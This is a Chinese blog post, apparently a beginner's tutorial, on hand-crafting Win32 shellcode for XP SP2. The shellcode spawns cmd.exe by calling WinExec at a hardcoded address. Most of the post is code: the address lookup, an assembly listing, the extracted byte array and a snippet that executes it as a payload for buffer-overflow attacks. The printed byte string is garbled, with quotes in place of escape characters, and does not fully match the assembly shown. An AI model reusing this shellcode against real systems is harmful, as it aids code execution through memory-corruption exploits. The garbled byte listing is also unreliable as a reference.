看来我是要从汇编入手做些事情了。汇编如今的用途不过是逆向工程,加解密,有害代码分析,漏洞挖掘以及一些有害代码生成,如病毒,缓冲区溢出攻击。首先申明这些我都不会,有些只知道皮毛。我连菜鸟都算不上,最多是条菜虫。 这几天看了看缓冲区溢出,写下来一点心得,一是希望有高人指导,二是总结一下。 今天说说shellcode的生成,当然是win32平台下的,linux本人没有什么研究(菜吧)。 shellcode一般C语言或者汇编语言生成,如果你也是刚学shellcode,最好手动自己生成,但是如果你已是高手就自己写个模版,自动生成。这方面Hume大侠已有论述,很多知名网络安全网站都有刊载。 现在举个最简单的手动生成shellcode的例子,假如我们已经找到了溢出点,这个shellcode会让你获取一个cmd命令行执行你想要执行的命令,很简单吧,说白了就是调用Winexec函数,只不过我们要把它转化为shellcode。平台xp-sp2,环境VC(就不用专门的 debugger了)。 由于已知了平台,我们首先获取想要API的地址,这里是WinExec。怎么获取? HINSTANCE LibHandle = LoadLibrary("kernel32.dll"); MYPROC ProcAdd = (MYPROC) GetProcAddress(LibHandle, "WinExec"); 得到ProcAdd =0x7c86114d,这个就是WinExec的地址了。 下面我用汇编写执行WinExec的代码,有点基础的人一看就明白。 push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov [ebp-08h],63h //c mov [ebp-07h],6Dh //m mov [ebp-06h],64h //d mov [ebp-05h],2Eh //. mov [ebp-04h],65h //e mov [ebp-03h],78h //x mov [ebp-02h],65h //e push 1 //压栈第一个参数 lea eax,[ebp-08h] push eax //压栈第二个参数“cmd.exe”字符串 mov edx,0x7c86114d //调用WinExec call edx leave //mov esp,ebp pop ebp 下面打开VC调试器获取机器码。按alt+8,点右键选Code Bytes,然后就是体力活了,摘取机器码就行了。 最后的shellcode为shellcode[ ]=""x8B"xE5"x55"x8B"xEC"x33"xC0"x50"x83"xEC"x04"xC6" ""x45"xF8"x63"xC6"x45"xF9"x6D"xC6"x45"xFA"x64"xC6" ""x45"xFB"x2E"xC6"x45"xFC"x65"xC6"x45"xFD"x78"xC6" ""x45"xFE"x65"xB8"x01"x00"x00"x00"x50"x8D"x45"xF8" ""x50"xBA"x4D"x11"x86"x7C"xFF"xD2"xC9"; 这么调用一下:((void(*)(void)) &shellcode)();一个命令行窗口就出来了,很简单。 注意的问题:子程序调用规则和堆栈平衡问题!子程序调用规则,唉,我实在懒得说了,如果你常调试汇编代码这个就是个超简单的问题了。push ebp mov ebp,esp主要就是这两句,保护ebp和给esp赋值,我不细说了。最后不要忘了给esp还原值和ebp的出栈,否则会压栈不平衡。 这仅仅是个手动写shellcode的最简单例子,可以提出以下问题:1。通用型问题,在不同的平台下不要说API函数就连Kernel32.dll基址也不同,这时你需要你个通用性的shellcode,自己找Kernel32.dll的基址,自己找想要的API(这让我想起了线程插入)2。方便快捷问题,如果shellcode的功能较多总不能人力摘取机器码吧?这就有个自动提取问题。这个问题随着我以后深入学习会讨论。 从这个例子入手,可以看出写shellcode并非难于登天,由简如繁,希望以后有兴趣的人和我一起讨论。 如果明天有时间我将要初步讨论下缓冲区溢出问题,我特地写了个例子程序,有助于我这种菜虫了解^_^。
|